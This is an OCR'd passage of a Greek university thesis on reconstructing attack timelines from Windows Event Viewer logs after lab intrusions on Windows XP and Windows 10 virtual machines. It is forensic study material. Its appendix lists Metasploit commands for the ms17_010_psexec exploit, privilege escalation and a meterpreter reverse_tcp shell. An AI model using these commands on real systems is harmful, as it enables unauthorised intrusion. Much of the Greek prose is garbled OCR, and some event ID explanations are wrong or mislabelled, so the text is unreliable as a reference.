File Edit Viem

1036 300 explorer.exe x64 0 HOME- I8T6WECAZC\chris
evice\HarddiskVolumel\WINDOWS\explorer.exe

1360 1036 VBoxTray.exe x64 [¢] HOME - I8T6WECAZC\chris
evice\HarddiskVolumel\WINDOWS\system32\VBoxTray.exe

1456 984 wmiprvse.exe x64 (¢} NT AUTHORITY\SYSTEM
evice\HarddiskVolumel\WINDOWS\system32\wbem\wmiprvse.exe

1480 200 wscntfy.exe x64 0 HOME-I8T6WECAZC\chris
evice\HarddiskVolumel\WINDOWS\system32\wscntfy.exe

1564 712 svchost.exe x64 0 NT AUTHORITY\SYSTEM
evice\HarddiskVolumel\WINDOWS\system32\svchost.exe

1596 1036 cmd.exe x64 0 HOME-I8T6WECAZC\chris
evice\HarddiskVolumel\WINDOWS\system32\cmd.exe

1628 712 IPROSetMonitor.exe x64 0 NT AUTHORITY\SYSTEM
evice\HarddiskVolumel\WINDOWS\system32\IPROSetMonitor.exe

1700 712 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE
evice\HarddiskVolumel\WINDOWS\system32\svchost.exe

1864 712 alg.exe x64 0 NT AUTHORITY\LOCAL SERVICE
evice\HarddiskVolumel\WINDOWS\system32\alg.exe

2656 388 rundl132.exe Xx86 (%} NT AUTHORITY\SYSTEM
WINDOWS\system32\rundll32.exe

Ecova 21:Kill
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Avoiyovtag ek véov tov Event Viewer tov Windows @aiveton 6ti v opa ¢ emifeong,
dnupovpyovvral kdmola akoun events oty Katnyopia system. Ta véa Event Ids otnv nepintmon
ot etvan ta. 7009 ko 7034.

B Event Viewer

File Action View Help

e » @AM
j._-ﬂ Event Viewer {Local) System 666 event(s)
'f Appligation Time Source Category ~ Event  User Con
2 Ze;;’"ty 10:46:07 ... Service Control Manager  None 7036  NJA Hol
w Y2 10:46:07 ... Service Control Manager None 7036 /A HOI
10:46:07 ... Service Control Manager None 7035 SYSTEM HOI
9:47:21 AM  W32Time None 35 NfA HOI
9:47:18 AM  Service Control Manager  None 7035 LOCAL SERVICE HOI
9:47:18 AM  Service Control Manager None 7036 /A HOI
9:47:00 AM  IPSec None 4294 NfA HOI
9:46:46 AM  E1000 None 30 NfA HOI
9:46:46 AM  E1000 None 32 NjA HOI
9:46:44 AM  IPSec None 4295 NjA HOI
9:47:07 AM  Service Control Manager None 7036 NjA HOI
9:47:07 AM  Service Control Manager None 7035 chris HOI
9:47:07 AM  Service Control Manager  None 7036 NjA HOI
9:47:07 AM  Service Control Manager None 7036 /A HOI
9:47:07 AM  Service Control Manager  None 7035 SYSTEM HOI
9:47:07 AM  Service Control Manager  None 7036 NjA HOI
9:47:07 AM  Service Control Manager  None 7036 NjA HOI
9:47:07 AM  Service Control Manager None 7035 SYSTEM HOI' ¥
< >

Ewcova 22:Sysyem Logs

B Event Viewer

File  Action Wiew Help
& 3 e
Event viewer (Local) System 669 event(s)
P.pplic_atinn Type Date Time Source Cateqory | Event#
E :5;:';:? QError 1/19/20z22 11:30:55 ..,  Service Control Manager  Mone 03
; aError 1/19)2022 11:24:27 ... Service Control Manager  Wone 7009
aError 1/19/2022 10:51:35 ... Service Control Manager  WNone 7009
@Informatinn 1/19/20z22 10:46:07 ... Service Control Manager  Mone 7036
@Informatinn 1/19/20z22 10:46:07 ... Service Control Manager  Mone 7036
@Information 1/19/2022 10:46:07 ... Service Control Manager  None 7035
@Information 1/19/2022 D472 AN W3ZTime Maone 35
@Informatinn 1/19/20z22 247115 AWM Serwvice Control Manager  Wone 7035
@Information 1/19/2022 24718 AM  Service Control Manager  None 7036
@Information 1/19/2022 2:47:00 AM  IPSec Maone 4294
'i\,Warning 1/19/20z22 Qdeid6 AM EL1000 Mone 30
@Informatinn 1/19)2022 24646 AM EL000 Maone 32
@Information 1/19/2022 246044 AM IPSec Maone 4295
@Informatinn 1/19/20z22 D47:07 AWM Serwvice Control Manager  Wone 7036
@Informatinn 1/19/20z22 D47:07 AWM Serwvice Control Manager  Wone 7035
@Information 1/19/2022 2:47:07 AM  Service Control Manager  None 7036
@Information 1/19/2022 9:47:07 M Service Control Manager  None 036
@Informatinn 1/19/20z22 D:47:07 AWM Serwvice Control Manager  Wone 7035
< | >
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Event Properties

Event |
[rate: #  Source:  Service Conbrol Manager +
Timne: 10:46:07 AM Category: Mone
Type: Information  Ewent ID: 7036 +
User: MNAa
Computer: HOME-8TBWwWECAFT
Drescription:
Thie wCxE B Dok Fe=Cr zervice entered the minning state.
Far more information, see Help and Support Center at
http: A Ago.microzoft. comfwlink/events. azp.
Bytez (1 words
[ ] 4 l ’ Cancel Apply

Ewcova 23: Event 7036

Event Properties

Ewent |

Doate:

4 Source:  W32Time +
Tirne: 34721 AW Categone None

Type: Infarmation Ewent 10: 35 +
User [REE
Computer: HOME-IBTBWECALC

Dezcription:

The tirme service iz now synchionizing the syzterm time with the time source
tirne. windows. com [nkp.ml0«11192.168.1.115:123->40.119.148.38:1 23],

Far mare information, see Help and Support Center at
http: /#go. microzoft. comfwlnk /events. azp.

Butes (Vwiords

] 4 l ’ Cancel Apply

Eixova 24:Event 35
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Event Properties

Event |
Date: Service Control Manager +
Tirne: Mamne

Type: Error Ewvent D 7034 +

User: M A
Cornputer: HOME-IBTEWECAZTC

Dezcnption:

The Application Layer Gateway Service service terminated unexpectediy.
It haz done this 1 time(z).

For more information, see Help and Support Center at
hitp: /¢go.microsoft. comdfwlinkfevents asp.

Bytes Wiords

[ (] ] [ Cancel Apply

Ewcova 25:Event 7034

Event Properties

Event |

[ ate: £ Sourcer  Service Control Manager +
Time: 10:61:35 AM Category: Mone

Type: Eror Ewent [0 7009 +

zer M AL
Cornputer: HOME-IBTEWECAZC

D ezcription:

Timeout [30000 milizeconds) waiting for the jaicdh zervice bo connect.

Far more information, see Help and Support Center at
http: g0, microsoft. comdfwlink/events. asp.

Bytes YWordzs

kK l [ Cancel Apply

Eixova 26:Event 7009
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3.3.2 Event logs Windows 10

Avotyovtag tov Event Viewer tov Windows 10, @aivetor o6t v opo g emibBeong,
dnpovpyovvTal KAmolo events oty Kotnyopia system. Onwc gaivetal 6Tov TopakdTo mTivaka, To

IDs twv eyypapdv mov dnuovpyodvton eivon ta €ng: 7040, 10010, 7009,7000, 105

System

Mumber of events: 860

Level Date and Time Source Event ID'  Task Category e
Information 30/1/2022 8:37:44 mp Service Control Man...
'@' Error 30/1/2022 8:27:14 mp Distributed COM 10010 Mene
'@' Error 30/1/2022 8:22:16 T Service Control Man... 7009 Mone
'E' Error 30/1/2022 8:22:16 Tp Service Control Man... 7000 Mone
'@' Error 30/1/2022 8:18:34 mp Distributed COM 10010 Mene
ICD Information 30/1/2022 2:16:09 wp Kernel-Power 105 (100)
'E' Error 30/1/2022 8:15:49 mp Distributed COM 10003 Mene
'@' Error 30/1/2022 8:15:49 mp Service Control Man... 7009 Mone
'@' Error 30/1/2022 8:15:49 T Service Control Man... 7000 Mone
@Information 30/1/2022 7:57:37 mp Service Control Man... 7040 Mone
@ Information 30/1/2022 7253803 mp WindowsUpdateClient 43 Windows Update Agent
Eixéva 27:winl0_event_logs
Xpriotog BouAyapng, Mavemniotripo Awyaiou, TU. Mnx/kwv M.E.Z. 20




AutAwpaTikn epyacia: AVOKOTOOKEUN HLOG EYKANUATLKAC EVEPYELOG HEow Tou Windows Event Viewer

ANAKATAYKEYH KAKOBOYAHY ENEPI'EIAY

H avaxotackeun Tov xpovikov g KakOBOVANG EVEPYELOS, ATOPAGIGTNKE VO YIVEL ATOTVTIMVOVTOG
ta Events mov mpoxvmtovy and tov event viewer o€ Ypagikn TapioTtoot).

4.1 PYTHON xait Bifil1001jxes

H oavaxotaokev) Tov  ypovikod g kaKOPovAng evépyelag, amopoaciotnke vo  yivel
ypPNoomolmvtos ™ YA®ooo Python kot cvykekpyévo 1 Bipiodrkn Pandas. H BifAiodnkn
Pandas &ivor to éva gpyoieio 10 omoio yYpNOUOTOLEITOL YO TNV TPAYUATOTOINGN OVAALGTG
dedopévov oty Python. EmumAéov, eivar éva amd ta oyvupodtepa Kot Mo €véhkto epyoleio
aviAvong / xelplopod OedOUEVOV avoLYTOU KOJKO SIOEGILO GE OTOLUONTOTE YAMGGOL.

4.2 MEOOA0A0rI'IA

"Exovtag amofnievoel OAa to amoteAéspata Tov event viewer 6to apyeio xpresults.xml 6to omoio
KOTOYPAQOVTOL OAEG Ol EYYPOUPES, OL GTHAEG OV EVOLAPEPOLY, UTOPOLV Vi amobnkevhodv oe Eva
apyeio xIsx.

O1 2 dwotdoelg mov emAédnioy vo ypnooromBoidv givor to Time kot to Event ID, ta omoia
AVTITPOSHOTEHOLY TO ¥POVO NG eYypaeng kot To ID tov kébe event, avtictoya. Ta ypapruota
OV TPOKVTTOLV £merta amd TV ektédeon tov kmdwko Python ywo kdédbe pio amd Tig dvo
TEPMTMOGEIS KAKOBOLAW®V EVEPYELDV EIVOL TO TOPAKAT®:
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4.3 ANAAYXH I'PAPHMATOX

4.3.1 Avdiven ypapiuaros unyavijueros Windows XP

7000 A
6000

5000 4

Event ID

2000 4

1000 A

4000 +

3000 A

04

T
9:47:21 i

T
9:47:18 mu

T
9:47:00 mp

.
10:46:07

‘
10:51:35

.
11:24:27

.
11:30:55

12:00:03 py

Time
Eixéva 29:Windows XP graph
9:47:21 | 9:47:18 | 9:47:18 | 9:47:00 | 10:46:07 | 10:46:07 | 10:46:07 | 10:51:35 | 11:24:27 | 11:30:55 | 12:00:03
Time U U U JLiv! JLiv! JLiv! pLiv! pLiv! U U (110
EventID | 35 7035 7036 4294 7036 7036 7035 7009 7009 7034 6013

Apywd mapatnpeitor 6tTL TV OPO TOL TO PNYOAVNUA-GTOYXOG evepyomoleitor o Event viewer
kataypdoeet ID 7035 ko 7036.

Event ID: 7036 (The service state has changed)

Tnv dpa ™ KaKOPOLVANG EVEPYELNS, TOL TPEYEL 1| ATOUAKPLGUEVT] TPOGROCT Kot 0 KaKOBOVAOG
YPNOTNG £€xel mapel mpdoPacn oto pnyavnua-otoyo, epgavitovioar Eava ta ID 7035, 7036.
BA\énovpe emiong 6t n vanpesia "PSEXESVC" unaivel og status "Executing" xotoa 1 didpkeio
NG EKTEAEOTG LLOG OMOUOKPLGHEVNS dLodIKaGiog Kol 6T cuvéyeln o€ status "Stopped" petd v

exTéLeO.
‘Encita kow 660 o emmnBépevog mpaypatomolel amopoakpucuéves evtodés o Event viewer

Kkatoypdoeet “errors” pe IDs 7009, 7034.
Event ID: 7009 (Service Error - Timeout)

Event ID: 7034 (Service Terminated)

Xprjotog BoUAyapng, Mavemiothuto Awyaiou, TU. Mny/kwv MN.E.X.
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Eicéva 30:Windows 10 graph
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4.3.2  Avdiven ypapiuatog unyavijueros Windows 10

10000

8000

6000 -

Event ID

4000 4

2000 4

4:00:25 pp 4:00:27 pp 4:00:33 pp 4:01:00 pp 4:01:55 pp 4:02:05 pp 4:02:12 pp 4:02:14 pp 4:02:19 pp 4:02:34 pp 4:03:02 pp

Time

4:00:25 4:00:27 4:00:33 4:01:00 4:01:55 4:02:05 4:02:12 4:02:14 4:02:19 4:02:34 4:03:02
[ U [ [ MM MU (S MM K K [
16 19 44 44 16 43 37 7040 7040 10010 7000

Ta Event IDs wov xataypdeovtol tnv ®pa ¢ npoonddeiog enibeong oto unydvnua-otdyo, eivol

ta [opokdtem:

Event ID: 16 When Automatic Updates tries to download updates, the download doesn't succeed,

and Event ID 16 is recorded in the system log

Event ID: 19 Windows successfully installed the update

Event ID: 44 Remote users cannot log on to a Windows Server 2012-based Remote Desktop

Session Host (RD Session Host) server

Event ID: 43 This event is logged when the time provider returned an error when notified of a

network configuration change

Event ID: 7040 Remote users cannot log on to a Windows Server 2012-based Remote Desktop

Session Host (RD Session Host) server

Xprjotog BoUAyapng, Mavemiothuto Awyaiou, TU. Mny/kwv MN.E.X.
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Event ID: 10010 This event is logged when the server did not register with DCOM within the
required time-out period

Event ID: 7000 The service did not start due to a logon failure.
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EINIAOTI 0 -

2YMIEPAXMATA

5.1 Xvurnepacuara kaxofovins eribeons oe Windows XP

Kobng etvor mpopavég 6Tt moAra teppatikd £xovv vrootel NUEG AOY® GTOYEVUEVOV EMBECEWY,
N onuocio TV gpELVOV TAVEO 6Ta GLUPAVTO AVTA Yol TNV TEPUTEP® €&ETAoT TETOWWY (MUY
avEAVETOL. XTO TAAICLOL TG TOPOVCHAS SMAMUATIKNG epyaciog cuvoyilovtol Kot mapovstalovtan
otoyeio Tov GVoYETILOVY TNV EKTEAEST EVIOADV pe TOaVEG KakOBovAdes evépyeteg. Me pia mpmd)
Hotid, ToALG epyareio/ EvTOAEG dev apnvouy amodeiEelg OTL dev EYovV eKTEAEOTEL e KaKOPOLAO
OKOTO, KATL TOL UITOPEL VA EXEL OC AMOTEAEGHA VO TAPAUEiVOLY dAVTEG 01 €peuveg GuUPAvVTOV.
Mo va avaAivBel Aemtopepdg Tt ékave kOmorog TBavog eloPoAas, TPENEL VO TPOETOYOCTEL EK TOV
TPOTEP®V Eva, TEPPAAAOV TOV EMTPEMEL TNV GLAAOYY| APYEI®V KATOYPOPTS KoL TNV OTTIKOTOINGN
TOVG,.

H xat’emavaAnyn mpaypotonoinon tov mepdpatog pe mlavr) kakOPovAn opactnplotnto
odMynoav oto e&Ng cvumépacpa. Baoikd yapoaktnpiotikd eivor agevog n dnpovpyia tov iduwv
Event IDs xd0e @opd mov évag kakOBOLAOG ¥PNOTNG OMOKTA OMOUOKPLGUEVN TPOGPacT ©To
punyavnua-otoyo. Emiong dnpiovpyodvtar cvykekpipéva IDS, O0nwg @aivetolr otov mopokdto
nivoka to ooio. UTopovv vo vTodMNA®Govy TNV VYrapén KakOPovAng dpactnplotTnToc, AOY®m TV
Un  OVOUEVOUEVOV VINPECUOV oL Onpovpyovvtal kot teppatlilovtal. O cvvdvacudc TV
TOPATAV® GE GLVOVACUO UE TNV TEPATEP® avdAvor tov logfiles tov Event Viewer pmopet va
001 YNGEL KATOLOV OVOALTY| G€ VO 0CQAAES GUUTEPAGLLO OTL £XEL TpaypaTtonomOel Tapafiocn oto
oVoTNUO Kot Vo TPOoPel 0TIG avaloyeG EVEPYELEC.

Hivaxag 2: Windows XP Event IDs Explanations

Event ID Explanation

7035 The service was successfully sent a start
control

7036 The service state has changed

7009 Service Error - Timeout

7034 Service Terminated
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5.2 Xvurnepacuara kaxofovinc exibeong ae Windows 10

Ymv mepintoon g amotuynuévng emifeong oto pnydvnuo to omoio obeTan Asttovpykd
ocvomuoe Windows 10, Tapatnpeiton pio o Aemtouepng kot Eekdbapn meptypapn Tmv events mov
kataypaeel o Event Viewer. Ta IDs mov éxovv evoiopépov edm givar ta 7040, 10010 xor 7000.
Meta and diepevvnon tov tapakdto IDS, propovue va odnynbodue oty vrddeon ott Kamolog
KaKOBOVAOG XPNOTNG TPOCTAONGE VO OITOKTIGEL UTOUAKPVUGHEVO EAEYYO GTO UNYAVILLO, OAAC EV
TéAEL 08V KATAPEPE VO TETVYEL N €MiBec] Tov O GLVIVAGUOC TV TaPOUTAVE EVENtS Ge GLVILAGHO
ue v mepartépo avaivon tov logfiles tov Event Viewer uropei va odnynoet kdmolov ovaioty
og éva acQUAEG cVUTEPAGHA OTL £xEl mpaypotonombel mapaficon oto cvotnua Kot va mpoPet
OTIG avaAoyesg evépyeleg. To ONUOVTIKO GE QTN TNV TEPIMTOGT, GE GYECN LUE TO UNYEVNLO TOV
diébeTon Aettovpykd cvotua Windows XP, givar ot oty mepintoon tov Windows 10, o Event
Viewer xotoypdest okoun kot IDS ta omoia eivor mbavd vo cvoyetiotovv pe mibavég

ATOTUYNUEVEG KAKOPBOLAEG evépyeles. AVTIOETOC avTO dev mopatnpNONKe otV mEPINTOON TOV
Windows XP.

ITivaxag 3: Windows XP Event IDs Explanations

Event ID Explanation

16 When Automatic Updates tries to download
updates, the download doesn't succeed, and
Event ID 16 is recorded in the system log

19 Windows successfully installed the update

44 Remote users cannot log on to a Windows
Server 2012-based Remote Desktop Session
Host (RD Session Host) server

43 This event is logged when the time provider
returned an error when notified of a network
configuration change

7040 Remote users cannot log on to a Windows
Server 2012-based Remote Desktop Session
Host (RD Session Host) server

10010 This event is logged when the server did not
register with DCOM within the required time-
out period

7000 The service did not start due to a logon failure.
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Hopaptnua I Koowkag mov ypyowyonoinOnke

[Mopaxdto mopoteiBevior or evioléc mov ypnoomombnkoy ywo TV TPOYHOTOTOINoN 1TNg
eniBeong and to Kali Linux oto Windows XP pnydvnua.

-sudo nmap —v —A —oX /root/xpresults.xml IP tov win XP VM
-sudo systemctl status postgresql

-sudo systemctl start postgresql

-sudo msfdb init

-sudo msfconsole

-db_import /root/xpresults.xml

-services 192.168.1.115

-grep windows grep smb show exploits
-exploit windows/smb/ms17_010_psexec
-info windows/smb/ms17_010_psexec
-exploit windows/smb/ms17_010_psexec
-show options

-set RHOSTS 192.168.1.115

-set LHOST 192.168.1.15

-exploit

-sysinfo

-getsystem

-kill 1864
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[Mopaxdto mopoteiBeviar ot eviolég mov ypnoomomonKoy ylo TV TPAYLOTOTOINoN 1TNG
eniBeong and to Kali Linux oto Windows 10 pnydvnua.

-services 192.168.1.10

-sudo systemctl status postgresql

-sudo systemctl start postgresql

-sudo msfdb init

-sudo msfconsole

-use exploit/multi/handler

-set payload windows/meterpreter/reverse_tcp
-set rhosts 192.168.1.10

- set lhost 192.168.1.25

-run
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[Mapoxdto mapateibetor o kmddwkag Python, o omoiog ypnoyomomnke yio TV YpPOEIKN
OVOTOPAGTACT] TOL YPOVIKOV TNG EniBeomnc.

import pandas as pd
import matplotlib.pyplot as plt
import tkinter as tk

from tkinter import filedialog
root = tk. Tk()
root.withdraw()

file_path = filedialog.askopenfilename()

filel = pd.read_excel(file_path)
filel.head()

plt.plot(filel[ Time'],filel['EventID'])
plt.xlabel('Time")

plt.ylabel('Event ID")
plt.legend(loc="upper left)

plt.show()
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